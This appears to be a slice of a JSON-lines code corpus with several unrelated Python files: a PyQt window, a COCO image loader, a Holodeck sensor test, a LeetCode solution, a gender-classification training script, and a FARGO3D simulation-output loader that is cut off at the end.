logger.removeHandler(get_console_handler(logging.WARNING))\n logger.addHandler(get_console_handler(logging.INFO))\n else:\n pass # WARNING level is added by default in bootstrap method\n\n if args.parser_name in skip_settings or (hasattr(args, 'need_settings') and not args.need_settings):\n pass\n else: # try loading settings\n try:\n from engineer.conf import settings\n\n if config_file is None:\n default_settings_file = path.getcwd() / 'config.yaml'\n logger.info(\"No '--settings' parameter specified, defaulting to %s.\" % default_settings_file)\n settings.reload(default_settings_file, override)\n else:\n settings.reload(config_file, override)\n except Exception as e:\n logger.error(e.message)\n exit()\n\n # noinspection PyBroadException\n try:\n if hasattr(args, 'function'):\n args.function(args)\n elif hasattr(args, 'func'):\n args.func(args)\n elif hasattr(args, 'handler_function'):\n args.handler_function(args)\n else:\n args.handle(args)\n except Exception as e:\n logger.exception(\"Unexpected error: %s\" % e.message)\n\n exit()\n","sub_path":"engineer/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"369635912","text":"from PyQt4 import QtGui, QtCore, uic\nfrom pyqtgraph.dockarea import DockArea, Dock\nimport random\nfrom datetime import datetime\nimport os\nfrom widgets.ZMQSubscriber import ZMQSubscriber\n\nmain_package_dir = os.path.join(os.path.dirname(__file__), os.pardir)\nui_filename = os.path.join(main_package_dir, \"ui/MainWindow.ui\")\nUi_MainWindow, QMainWindow = uic.loadUiType(ui_filename)\n\n\nclass MainWindow(QMainWindow, Ui_MainWindow):\n \"\"\"The only window of the application.\"\"\"\n\n def __init__(self, settings):\n super(MainWindow, self).__init__()\n self.settings = settings\n\n self.setupUi(self)\n\n self.dock_area = DockArea()\n self.setCentralWidget(self.dock_area)\n\n self.createDocks()\n\n self.loadSettings()\n\n def createDocks(self):\n self.zmq_subscriber = ZMQSubscriber(self.settings, self)\n self.zmq_subscriber_dock = Dock('Subscriber',\n widget=self.zmq_subscriber)\n self.dock_area.addDock(self.zmq_subscriber_dock)\n\n def loadSettings(self):\n \"\"\"Load window state from self.settings\"\"\"\n\n self.settings.beginGroup('mainwindow')\n geometry = self.settings.value('geometry').toByteArray()\n state = self.settings.value('windowstate').toByteArray()\n dock_string = str(self.settings.value('dockstate').toString())\n if dock_string is not \"\":\n dock_state = eval(dock_string)\n self.dock_area.restoreState(dock_state)\n self.settings.endGroup()\n\n self.restoreGeometry(geometry)\n self.restoreState(state)\n\n def saveSettings(self):\n \"\"\"Save window state to self.settings.\"\"\"\n self.settings.beginGroup('mainwindow')\n self.settings.setValue('geometry', self.saveGeometry())\n self.settings.setValue('windowstate', self.saveState())\n dock_state = self.dock_area.saveState()\n # dock_state returned here is a python dictionary. Coundn't find a good\n # way to save dicts in QSettings, hence just using representation\n # of it.\n self.settings.setValue('dockstate', repr(dock_state))\n self.settings.endGroup()\n\n def closeEvent(self, event):\n self.zmq_subscriber.saveSettings()\n self.saveSettings()\n","sub_path":"streamlogger/widgets/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"529015919","text":"\nimport os\nos.environ[\"THEANO_FLAGS\"] = \"mode=FAST_RUN,device=cpu,floatX=float32\"\nimport glob\nimport pickle as pkl\nimport numpy as np\nimport theano\nimport PIL.Image as Image\nclass coco_loader(object):\n\n def __init__(\n self,\n mscoco=\"C:/Users/user/project_dumesnil/\",\n input=\"train2014\",\n target=\"train2014\",\n caption_path=\"C:/Users/user/project_dumesnil/dict_key_imgID_value_caps_train_and_valid.pkl\"\n ):\n # Parameters:\n # mscoco: string coco folder\n # split : string training folder\n # caption_path: string caption path\n\n print('Loading ' + input + ' data...')\n self.mscoco = mscoco\n self.input_path = os.path.join(mscoco, input)\n self.input_imgs = glob.glob(self.input_path + \"/*.jpg\")\n self.target_path = os.path.join(mscoco, target)\n self.target_imgs = glob.glob(self.target_path + \"/*.jpg\")\n caption_path = os.path.join(mscoco, caption_path)\n with open(caption_path, 'rb') as fd:\n caption_dict = pkl.load(fd)\n self.caption_dict = caption_dict\n self.x = np.array(0)\n self.y = np.array(0)\n\n\n\n def load_items(self, batch_idx, batch_size, depth_input, transpose_x=True, transpose_y=True):\n batch_input_imgs = self.input_imgs[batch_idx*batch_size:(batch_idx+1)*batch_size]\n batch_target_imgs = self.target_imgs[batch_idx*batch_size:(batch_idx+1)*batch_size]\n res_input = [self.load_item(i, input_path, depth_input) for i, input_path in enumerate(batch_input_imgs)]\n res_target = [self.load_item(i, target_path, 32) for i, target_path in enumerate(batch_target_imgs)]\n #remove None and unzip the list\n self.x, cap_x, cap_id_x = zip(*[x for x in res_input if x is not None])\n self.y, cap_y, cap_id_y = zip(*[y for y in res_target if y is not None])\n self.x = np.array(self.x)\n self.y = np.array(self.y)\n if(transpose_x):\n self.x = self.x.transpose((0, 3, 1, 2))\n if(transpose_y):\n self.y = self.y.transpose((0, 3, 1, 2))\n #return theano.shared(np.array(self.x), borrow = True), theano.shared(np.array(self.y), borrow = True), cap\n\n return np.array(self.x), np.array(self.y), cap_x, cap_id_x\n\n\n\n def load_item(self, index, img_path, depth_input):\n img = Image.open(img_path)\n img_array = np.array(img)\n cap_id = os.path.basename(img_path)[:-4]\n\n # create 32x32 black squre in the middle of the image\n center = (int(np.floor(img_array.shape[0] / 2.)), int(np.floor(img_array.shape[1] / 2.)))\n if len(img_array.shape) == 3:\n image = np.copy(img_array)\n if depth_input < 32:\n image[depth_input:64-depth_input, depth_input:64-depth_input, :] = 0\n else:\n # skip gray images\n return None\n #return the normalized values\n return image.astype('float32')/255., self.caption_dict[cap_id], cap_id\n","sub_path":"coco_loader.py","file_name":"coco_loader.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"649625742","text":"listax = []\nwhile True:\n n = int(input(\"Digite 1 número para adicionar na lista X: (0 para sair): \"))\n if n == 0:\n break\n listax.append(n)\nlistay = []\nwhile True:\n n = int(input(\"Digite 1 número para adicionar na lista Y: (0 para sair): \"))\n if n == 0:\n break\n listay.append(n)\nlistaz = listax[:]\nlistaz.extend(listay)\n\nx = 0\nwhile x < len(listaz):\n print(\"({}) {}\".format(x, listaz[x]))\n x += 1","sub_path":"cap06/ex-06-02.py","file_name":"ex-06-02.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"261561407","text":"import uuid\nimport copy\n\nimport holodeck\n\nconfigs = {\n \"AndroidAgent\": {\n \"name\": \"test_android_joint_sensor\",\n \"world\": \"TestWorld\",\n \"main_agent\": \"android0\",\n \"agents\": [\n {\n \"agent_name\": \"android0\",\n \"agent_type\": \"AndroidAgent\",\n \"sensors\": [\n {\n \"sensor_type\": \"JointRotationSensor\",\n }\n ],\n \"control_scheme\": 1, # Max Torque control scheme\n \"location\": [0, 0, 5]\n }\n ]\n },\n\n \"HandAgent\": {\n \"name\": \"test_android_joint_sensor\",\n \"world\": \"TestWorld\",\n \"main_agent\": \"hand0\",\n \"agents\": [\n {\n \"agent_name\": \"hand0\",\n \"agent_type\": \"HandAgent\",\n \"sensors\": [\n {\n \"sensor_type\": \"JointRotationSensor\",\n }\n ],\n \"control_scheme\": 1, # Max Torque control scheme, no floating\n \"location\": [0, 0, 5]\n }\n ]\n }\n}\n\n\ndef test_joint_rotation_sensor(joint_agent_type):\n \"\"\"Iterates over every joint provided in has and validates that applying a\n torque to that joint causes the values reported by the JointRotationSensor\n to change.\n\n Args:\n joint_agent_type (tuple of agent type (str) and list of joint names):\n Parameterized input\n\n \"\"\"\n\n agent_type, joints = joint_agent_type\n zeroes = [0 for _ in range(len(joints))]\n\n binary_path = holodeck.packagemanager.get_binary_path_for_package(\"DefaultWorlds\")\n\n with holodeck.environments.HolodeckEnvironment(scenario=configs[agent_type],\n binary_path=binary_path,\n uuid=str(uuid.uuid4())) as env:\n \n # Let the Android collapse into a twitching mess on the ground\n for _ in range(400):\n env.tick()\n \n for i in range(len(joints)):\n name = joints[i]\n\n action = copy.deepcopy(zeroes)\n action[i] = 1\n\n # Sample the joint rotation before torquing it\n pre_rotation = env.step(action)[0][\"JointRotationSensor\"][i]\n\n # Torque it for a few ticks\n for _ in range(10):\n env.step(action)\n \n # Sample it\n post_rotation_1 = env.step(action)[0][\"JointRotationSensor\"][i]\n\n # Torque it in the opposite direction for a bit to make sure it wasn't\n # maxed out in the positive direction before\n\n action[i] = -1\n for _ in range(10):\n env.step(action)\n \n post_rotation_2 = env.step(action)[0][\"JointRotationSensor\"][i]\n\n # print(\"{} {}/{}\".format(name, abs(pre_rotation - post_rotation_1), abs(pre_rotation - post_rotation_2)))\n\n if \"foot\" in name:\n # Ugly, disgusting hack. The foot joints behave strangely, I can't figure out why. Skip them for now\n # BYU-PCCL/holodeck#297\n continue\n\n # Make sure the rotation is different\n assert abs(pre_rotation - post_rotation_1) > 1e-3 or \\\n abs(pre_rotation - post_rotation_2) > 1e-3, \\\n \"The rotation for the joint {} (index {}) did not change enough!\"\\\n \"Before: {}, after positive max torque: {}, after negative max torque{}\"\\\n .format(joints[i], i, pre_rotation, post_rotation_1, post_rotation_2)\n \n # Let things settle\n for _ in range(10):\n env.tick()\n\n","sub_path":"tests/sensors/test_joint_rotation_sensor.py","file_name":"test_joint_rotation_sensor.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"139160100","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nimport time, gc\nimport pandas as pd\nfrom lstm import train_and_test, preprocess, test\nimport numpy as np\nimport torch\nimport os\nimport pickle\nfrom sklearn.model_selection import train_test_split\n\ndef main():\n print(\"Predict Youtube cross genre\")\n directory = 'data/csv/'\n '''df_data, y = preprocess_data(directory, 'train_news_twitter.csv')\n df_test, test_y = preprocess_data(directory, 'youtube_train.csv')\n train_and_test(df_data, y, df_test, test_y, 100, 'youtube')\n\n print(\"Predict News cross genre\")\n directory = 'data/csv/'\n df_data, y = preprocess_data(directory, 'train_youtube_twitter.csv')\n df_test, test_y = preprocess_data(directory, 'news_train.csv')\n train_and_test(df_data, y, df_test, test_y, 100, 'news')'''\n\n print(\"Predict Twitter cross genre\")\n #directory = 'data/csv/'\n #df_data, y = preprocess_data(directory, 'twitter_train.csv')\n #df_test, test_y = preprocess_data(directory, 'twitter_train.csv')\n #print(\"Shape of train and test: \", df_data.shape, df_test.shape)\n #train_and_test(df_data, y, df_test, test_y, 100, 'twitter')\n\n '''directory = 'data/csv/'\n df_data, y, df_test, test_y = preprocess_data(directory, 'surprise_test.csv', split=True)\n print(\"Shape of train and test: \", df_data.shape, df_test.shape)\n train_and_test(df_data, y, df_test, test_y, 100, 'surprise')'''\n\n #cross genre\n\n '''model = 'models/news_model_cg_0.557.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/news_corpus_cg_0.557.pk', 'rb'))\n corpus.batch_size = 16\n model.batch_size = 16\n df_test, test_y = preprocess_data(directory, 'twitter_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_CROSS_twitter_2', test=False)\n\n model = 'models/news_model_cg_0.557.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/news_corpus_cg_0.557.pk', 'rb'))\n corpus.batch_size = 10\n model.batch_size = 10\n df_test, test_y = preprocess_data(directory, 'news_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_CROSS_news_1', test=False)\n\n model = 'models/youtube_model_cg_0.558.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/youtube_corpus_cg_0.558.pk', 'rb'))\n corpus.batch_size = 2\n model.batch_size = 2\n df_test, test_y = preprocess_data(directory, 'youtube_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_CROSS_youtube_1', test=False)'''\n\n '''model = 'models/news_model_in.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/news_corpus_in.pk', 'rb'))\n corpus.batch_size = 1\n model.batch_size = 1\n df_test, test_y = preprocess_data(directory, 'surprise_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_CROSS_kb_1', test=False)'''\n\n #in_genre\n\n model = 'models/youtube_model_in.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/youtube_corpus_in.pk', 'rb'))\n corpus.batch_size = 2\n model.batch_size = 2\n df_test, test_y = preprocess_data(directory, 'youtube_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_IN_youtube_1', test=False)\n\n '''model = 'models/news_model_in.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/news_corpus_in.pk', 'rb'))\n corpus.batch_size = 10\n model.batch_size = 10\n df_test, test_y = preprocess_data(directory, 'news_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_IN_news_1', test=False)\n\n model = 'models/twitter_model_in.pt'\n model = torch.load(model)\n corpus = pickle.load(open('models/twitter_corpus_in.pk', 'rb'))\n corpus.batch_size = 16\n model.batch_size = 16\n df_test, test_y = preprocess_data(directory, 'twitter_test.csv', predict=True)\n test(df_test, test_y, model, corpus, 'IJS-KD_IN_twitter_1', test=False)'''\n\n\n\ndef preprocess_data(directory, input_file, delimiter=\"\\t\", predict=False, split=False):\n # uncomment this to read data from csv\n data_iterator = pd.read_csv(directory + input_file, encoding=\"utf-8\", delimiter=delimiter, chunksize=1000)\n df_data = pd.DataFrame()\n for sub_data in data_iterator:\n df_data = pd.concat([df_data, sub_data], axis=0)\n gc.collect()\n print(\"Data shape before preprocessing:\", df_data.shape)\n #df_data = df_data[:100]\n\n df_data = preprocess(df_data)\n df_data.to_csv(directory + \"data_preprocessed.csv\", encoding=\"utf8\", sep=\"\\t\", index=False)\n\n print(df_data.columns.tolist())\n\n # shuffle the corpus and optionaly choose the chunk you want to use if you don't want to use the whole thing - will be much faster\n df_data = df_data.sample(frac=1, random_state=1)\n\n print(\"Data shape: \", df_data.shape)\n\n if split:\n df_train, df_test = train_test_split(df_data, test_size=0.1)\n tags = df_train.gender\n m_data = df_train[df_train['gender'] == 'M']\n f_data = df_train[df_train['gender'] == 'F']\n print('Males: ', m_data.shape, 'Females: ', f_data.shape)\n df_train = df_train.drop(['gender'], axis=1)\n y_train = np.array([0 if tmp_y=='M' else 1 for tmp_y in tags])\n\n tags = df_test.gender\n m_data = df_test[df_test['gender'] == 'M']\n f_data = df_test[df_test['gender'] == 'F']\n print('Males: ', m_data.shape, 'Females: ', f_data.shape)\n df_test = df_test.drop(['gender'], axis=1)\n y_test = np.array([0 if tmp_y == 'M' else 1 for tmp_y in tags])\n\n print('All shape: ', df_train.shape, y_train.shape, df_test.shape, y_test.shape)\n\n return df_train, y_train, df_test, y_test\n\n\n\n else:\n if predict:\n tags = df_data.id\n else:\n tags = df_data.gender\n m_data = df_data[df_data['gender'] == 'M']\n f_data = df_data[df_data['gender'] == 'F']\n print('Males: ', m_data.shape, 'Females: ', f_data.shape)\n df_data = df_data.drop(['gender'], axis=1)\n if not predict:\n y = np.array([0 if tmp_y=='M' else 1 for tmp_y in tags])\n else:\n y = np.array([tmp_y for tmp_y in tags])\n return df_data, y\n\n\nif __name__ == '__main__':\n start_time = time.time()\n # run from command line\n # e.g. python3 gender_classification.py --input './pan17-author-profiling-training-dataset-2017-03-10' --output results --language en\n argparser = argparse.ArgumentParser(description='Clin gender evaluation')\n argparser.add_argument('-c', '--input', dest='input', type=str,\n default='data/weebit',\n help='Choose input trainset')\n # args = argparser.parse_args()\n main()\n\n print(\"--- Model creation in minutes ---\", round(((time.time() - start_time) / 60), 2))\n print(\"--- Training & Testing in minutes ---\", round(((time.time() - start_time) / 60), 2))\n\n\n\n\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"633728187","text":"age_1 = int(input('Cuantos años tienes?: '))\nage_2 = int(input('Cual es la edad de tu amigo?: '))\n\nif age_1 > age_2:\n diff = age_1 - age_2\n difw = str(diff)\n print('Eres mayor que tu amigo por ' + difw + ' años')\nelif age_1 < age_2:\n diff = age_2 - age_1\n difw = str(diff)\n print('Tu amigo es mayor por ' + difw + ' años')\nelse:\n print('Los dos tienen la misma edad')\n\n","sub_path":"py_basico/age_comparative.py","file_name":"age_comparative.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"185738270","text":"\"\"\"\n// Time Complexity : o(n)\n// Space Complexity : constant\n// Did this code successfully run on Leetcode : yes\n// Any problem you faced while coding this : no\n\n\n// Your code here along with comments explaining your approach\n\"\"\"\n\nclass Solution:\n def candy(self, ratings: List[int]) -> int: #2 pass algorithm, first we check going left to right and then right to left\n candies = [1] * len(ratings) #initially everyone has 1 candy\n \n for i in range(1,len(ratings)): #checking with previous values\n if ratings[i] > ratings[i-1]: #if rating for current is higher, increase the number of candies for current to prev candies + 1\n candies[i] = candies[i-1] + 1\n \n for i in range(len(ratings)-2, -1, -1): #2nd pass, \n if ratings[i] > ratings[i+1]:\n candies[i] = max(candies[i],candies[i+1] + 1) #check if current number of candies is already greater than the right neighbour, else increment by 1\n \n return sum(candies) #return sum \n \n \n ","sub_path":"Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"180975450","text":"code_info = (\"fargo3d\", \"2.0\", \"multifluid\")\n\nimport os\nimport re\nimport copy\nimport numpy as np\nimport astropy.units as u\nimport astropy.constants as const\nfrom . import interface\nfrom .. import fluid\nfrom .. import field\nfrom .. import grid\nfrom .. import scalar\nfrom .. import particles\n\n\ndef identify(path):\n try:\n get_data_dir(path)\n return True\n except FileNotFoundError:\n return False\n\n\nvars_2d = {\n \"mass density\": {\n \"pattern\": \"{}dens{}.dat\",\n \"unitpowers\": {\n \"mass\": 1,\n \"length\": -2\n }\n },\n \"energy density\": {\n \"pattern\": \"{}energy{}.dat\",\n \"unitpowers\": {\n \"mass\": 1,\n \"time\": -2\n }\n },\n \"velocity radial\": {\n \"pattern\": \"{}vy{}.dat\",\n \"unitpowers\": {\n \"length\": 1,\n \"time\": -1\n },\n \"interfaces\": [\"r\"],\n },\n \"velocity azimuthal\": {\n \"pattern\": \"{}vx{}.dat\",\n \"unitpowers\": {\n \"length\": 1,\n \"time\": -1\n },\n \"interfaces\": [\"phi\"],\n },\n \"vpolar\": {\n \"pattern\": \"{}vz{}.dat\",\n \"unitpowers\": {\n \"length\": 1,\n \"time\": -1\n },\n \"interfaces\": [\"theta\"],\n },\n \"grainsize\": {\n \"pattern\": \"{}grainsize{}.dat\",\n \"unitpowers\": {\n \"length\": 1\n },\n },\n \"grainsize drift\": {\n \"pattern\": \"{}grainsize_drift{}.dat\",\n \"unitpowers\": {\n \"length\": 1\n },\n },\n \"grainsize frag\": {\n \"pattern\": \"{}grainsize_frag{}.dat\",\n \"unitpowers\": {\n \"length\": 1\n },\n },\n \"grainsize driftfrag\": {\n \"pattern\": \"{}grainsize_driftfrag{}.dat\",\n \"unitpowers\": {\n \"length\": 1\n },\n },\n \"grainsize coag\": {\n \"pattern\": \"{}grainsize_coag{}.dat\",\n \"unitpowers\": {\n \"length\": 1\n },\n }\n}\n\nvars_1d = {\n 'torque planet {}': {\n 'pattern': 'torq_1d_Y_raw_planet_{}.dat',\n 'for each planet': True,\n 'directions': [\"r\"],\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -2\n }\n },\n 'velocity radial': {\n 'pattern': '{}vy{}.dat',\n 'directions': [\"r\"],\n 'unitpowers': {\n \"mass\": 0,\n \"length\": 1,\n \"time\": -1\n }\n },\n 'velocity azimuthal': {\n 'pattern': '{}vx{}.dat',\n 'directions': [\"r\"],\n 'unitpowers': {\n \"mass\": 0,\n \"length\": 1,\n \"time\": -1\n }\n },\n}\n\nvars_scalar = {\n 'mass': {\n 'file': 'mass.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1\n }\n },\n 'angular momentum': {\n 'file': 'momx.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -1\n }\n },\n 'kinetic energy azimuthal': {\n 'file': 'ekinx.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -2\n }\n },\n 'kinetic energy radial': {\n 'file': 'ekiny.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -2\n }\n },\n 'kinetic energy vertical': {\n 'file': 'ekinz.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -2\n }\n },\n 'torque planet {}': {\n 'file': 'torq_planet_{}.dat',\n 'for each planet': True,\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {\n \"mass\": 1,\n \"length\": 2,\n \"time\": -2\n }\n },\n}\n\nplanet_vars_scalar = {\n 'x': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 1,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1\n }\n },\n 'y': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 2,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1\n }\n },\n 'z': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 3,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1\n }\n },\n 'vx': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 4,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1,\n \"time\": -1\n }\n },\n 'vy': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 5,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1,\n \"time\": -1\n }\n },\n 'vz': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 6,\n 'timecol': 8,\n 'unitpowers': {\n 'length': 1,\n \"time\": -1\n }\n },\n 'mass': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 7,\n 'timecol': 8,\n 'unitpowers': {\n 'mass': 1\n }\n },\n 'mass': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 9,\n 'timecol': 8,\n 'unitpowers': {\n 'time': -1\n }\n },\n 'time step': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 0,\n 'timecol': 8,\n 'unitpowers': {}\n },\n 'physical time': {\n 'file': 'bigplanet{}.dat',\n 'datacol': 8,\n 'timecol': 8,\n 'unitpowers': {\n \"time\": 1\n }\n },\n ########################################\n ### orbital elements\n 'physical time orbit': {\n 'file': 'orbit{}.dat',\n 'datacol': 0,\n 'timecol': 0,\n 'unitpowers': {\n \"time\": 1\n }\n },\n 'eccentricity': {\n 'file': 'orbit{}.dat',\n 'datacol': 1,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'semi-major axis': {\n 'file': 'orbit{}.dat',\n 'datacol': 2,\n 'timecol': 0,\n 'unitpowers': {\n \"length\": 1\n }\n },\n 'mean anomaly': {\n 'file': 'orbit{}.dat',\n 'datacol': 3,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'true anomaly': {\n 'file': 'orbit{}.dat',\n 'datacol': 4,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'argument of periapsis': {\n 'file': 'orbit{}.dat',\n 'datacol': 5,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'x-axis rotation angle': {\n 'file': 'orbit{}.dat',\n 'datacol': 6,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'inclination': {\n 'file': 'orbit{}.dat',\n 'datacol': 7,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'ascending node': {\n 'file': 'orbit{}.dat',\n 'datacol': 8,\n 'timecol': 0,\n 'unitpowers': {}\n },\n 'longitude of periapsis': {\n 'file': 'orbit{}.dat',\n 'datacol': 9,\n 'timecol': 0,\n 'unitpowers': {}\n },\n}\n\nalias_fields = {\n \"velocity radial\": \"vrad\",\n \"velocity azimuthal\": \"vazimuth\",\n \"total energy density\": \"energy density\"\n}\n\nalias_reduced = {\n \"output time step\": \"analysis time step\",\n \"simulation time\": \"physical time\",\n \"mass\": \"mass\",\n \"angular momentum\": \"angular momentum\",\n \"total energy\": \"total energy\",\n \"internal energy\": \"internal energy\",\n \"kinetic energy\": \"kinetic energy\",\n \"eccentricity\": \"eccentricity\",\n \"periastron\": \"periastron\",\n \"mass flow inner\": \"\",\n \"mass flow outer\": \"\",\n \"mass flow wavedamping\": \"\",\n \"mass flow densityfloor\": \"\"\n}\n\nalias_particle = {\n \"output time step\": \"time step\",\n \"simulation time\": \"physical time\",\n \"argument of periapsis\": \"argument of periapsis\",\n \"velocity\": \"velocity\",\n \"mass\": \"mass\",\n \"angular momentum\": \"angular momentum\",\n \"eccentricity\": \"eccentricity\",\n \"semi-major axis\": \"semi-major axis\"\n}\n\n\ndef var_in_files(varpattern, files):\n p = re.compile(varpattern.replace(\".\", \"\\.\").format(\"\\d+\"))\n for f in files:\n if re.match(p, f):\n return True\n return False\n\n\ndef load_scalar(file, var):\n return [1, 1]\n\n\ndef get_data_dir(path):\n rv = None\n ptrn = re.compile(\"summary\\d+.dat\")\n for root, dirs, files in os.walk(path):\n for f in files:\n m = re.search(ptrn, f)\n if m:\n rv = root\n break\n if rv is None:\n raise FileNotFoundError(\n \"Could not find identifier file 'summary\\d+.dat' in any subfolder of '{}'\"\n .format(path))\n return rv\n\n\ndef find_first_summary(dataDir):\n return \"summary{}.dat\".format(find_first_summary_number(dataDir))\n\n\ndef find_first_summary_number(dataDir):\n return find_summary_numbers(dataDir)[0]\n\n\ndef find_summary_numbers(dataDir):\n ptrn = re.compile(\"summary(\\d+).dat\")\n summaries = []\n for f in os.listdir(dataDir):\n m = re.search(ptrn, f)\n if m:\n n = int(m.groups()[0])\n summaries.append(n)\n summaries.sort()\n return summaries\n\n\ndef get_unit_from_powers(unitpowers, units):\n unit = 1.0\n for u, p in unitpowers.items():\n unit = unit * units[u]**p\n return unit\n\n\nclass Loader(interface.Interface):\n\n code_info = code_info\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.data_dir = get_data_dir(self.path)\n self.output_times = np.array([])\n self.fine_output_times = np.array([])\n\n def scout(self):\n self.get_domain_size()\n self.get_parameters()\n self.get_units()\n self.apply_units()\n self.load_times()\n self.get_planets()\n self.get_fluids()\n self.get_fields()\n self.get_scalars()\n self.get_nbodysystems()\n self.register_alias()\n\n def get_parameters(self):\n self.parameters = getParamsFromNthSummary(\n self.data_dir, find_first_summary_number(self.data_dir))\n\n def apply_units(self):\n for vardict in [planet_vars_scalar, vars_2d, vars_1d, vars_scalar]:\n for var, info in vardict.items():\n info[\"unit\"] = get_unit_from_powers(info[\"unitpowers\"],\n self.units)\n\n def register_alias(self):\n for particlegroup in self.particlegroups:\n particlegroup.alias.register_dict(alias_particle)\n for planet in self.planets:\n planet.alias.register_dict(alias_particle)\n for name, fluid in self.fluids.items():\n fluid.alias.register_dict(alias_fields)\n fluid.alias.register_dict(alias_reduced)\n\n def get_nbodysystems(self):\n pass\n\n def get_planets(self):\n planet_ids = []\n p = re.compile(\"bigplanet(\\d).dat\")\n for s in os.listdir(self.data_dir):\n m = re.match(p, s)\n if m:\n planet_ids.append(m.groups()[0])\n planet_ids.sort()\n # create planets\n self.planets = []\n for pid in planet_ids:\n self.planets.append(particles.Planet(str(pid), pid))\n # add variables to planets\n for pid, planet in zip(planet_ids, self.planets):\n for varname in planet_vars_scalar:\n info = planet_vars_scalar[varname]\n datafile = os.path.join(self.data_dir,\n info[\"file\"].format(pid))\n loader = ScalarLoader(varname, datafile, info, self)\n planet.register_variable(varname, loader)\n\n def get_fluids(self):\n ptrn = re.compile(\"output(.*)\\.dat\")\n fluid_names = [\n m.groups()[0]\n for m in (re.search(ptrn, f) for f in os.listdir(self.data_dir))\n if m is not None\n ]\n for name in fluid_names:\n self.fluids[name] = fluid.Fluid(name)\n\n def get_fields(self):\n self.get_fields_2d()\n self.get_fields_1d()\n\n def get_fields_2d(self):\n files = os.listdir(self.data_dir)\n for fluidname in self.fluids.keys():\n for varname, info in vars_2d.items():\n info_formatted = copy.deepcopy(info)\n info_formatted[\"pattern\"] = info_formatted[\"pattern\"].format(\n fluidname, \"{}\")\n if var_in_files(info_formatted[\"pattern\"], files):\n fieldLoader = FieldLoader2d(varname, info_formatted, self)\n self.fluids[fluidname].register_variable(\n varname, \"2d\", fieldLoader)\n\n def get_fields_1d(self):\n for fluid_name in self.fluids:\n fl = self.fluids[fluid_name]\n monitor_dir = os.path.join(self.data_dir, \"monitor\", fluid_name)\n monitor_files = os.listdir(monitor_dir)\n for name_pattern, info in vars_1d.items():\n for n in range(len(self.planets)):\n try:\n filename = info[\"pattern\"].format(n)\n except IndexError:\n filename = info[\"pattern\"].format(fluid_name, n)\n\n datafile = os.path.join(monitor_dir, filename)\n if not os.path.exists(datafile):\n datafile = os.path.join(self.data_dir, filename)\n varname = name_pattern.format(n)\n if os.path.exists(datafile):\n info_formatted = copy.deepcopy(info)\n info_formatted[\"pattern\"] = info_formatted[\n \"pattern\"].format(fluid_name, \"{}\")\n info_formatted[\"datafile\"] = datafile\n fieldLoader = FieldLoader1d(varname, info_formatted,\n self)\n fl.register_variable(varname, \"1d\", fieldLoader)\n if not \"for each planet\" in info or not info[\n \"for each planet\"]:\n break\n\n def get_scalars(self):\n for fluid_name in 